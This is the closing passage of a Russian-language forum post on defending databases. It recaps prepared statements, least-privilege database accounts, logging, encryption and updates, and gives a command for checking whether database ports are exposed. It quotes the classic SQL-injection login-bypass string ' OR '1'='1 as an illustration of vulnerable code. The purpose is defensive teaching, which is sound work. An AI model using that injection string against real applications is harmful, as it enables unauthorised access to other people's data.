И, наконец, методы защиты - это не серебряная пуля. Это рабочий инструмент в руках того, кто понимает принцип. Prepared Statements, WAF, мониторинг логов - всё это кирки и лопаты для укрепления твоего замка. Без понимания, зачем копать именно здесь, ты просто устроишь яму посреди двора, в которую упадёшь сам.

Так что же в итоге?

Ты теперь знаешь, что:
  1. Код:
    ' OR '1'='1
    - это не смешной мем, а приговор плохому коду.
  2. Пользователь БД != root БД. Создашь отдельную учётку для приложения - спишь спокойнее.
  3. Логи - это глаза в затылке. Не включил - значит, летишь вслепую.
  4. Шифрование - must have, даже если «у нас всё внутри сети».
  5. Обновления - это гигиена. Не обновился - ходишь с дырой в броне, которую все уже видят.
А теперь - финальный тест.

Открой терминал. Прямо сейчас. И введи одну команду, чтобы проверить, не светится ли твоя БД на весь мир, как маяк:

Bash:


Код:
sudo
ss -tulpn
|
grep
-E
'(:5432|:3306|:27017)'
Увидел
Код:
0.0.0.0
или
Код:
::
в столбце
Код:
Local Address
? Всё, ты в игре. Твоя база - в списках сканеров, и какой-нибудь бот уже методично цокает по ней, как дятел по дереву.

Что делать? Начни с сетевой изоляции. Потом пройдись по всему чек-листу, как по пунктам спасения из горящего здания.

Безопасность - это не пункт назначения, а способ путешествия. Ты никогда не скажешь «я полностью защищён». Но ты можешь сказать: «Я сделал всё, что мог в рамках здравого смысла и потраченного времени».

Теперь у тебя есть карта. Время идти и чинить свои щиты. Потому что в цифровом мире есть два типа людей: те, кого уже взломали, и те, кто ещё не знает, что их взломали. Не дай себе попасть ни в одну из этих групп.

Удачи.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.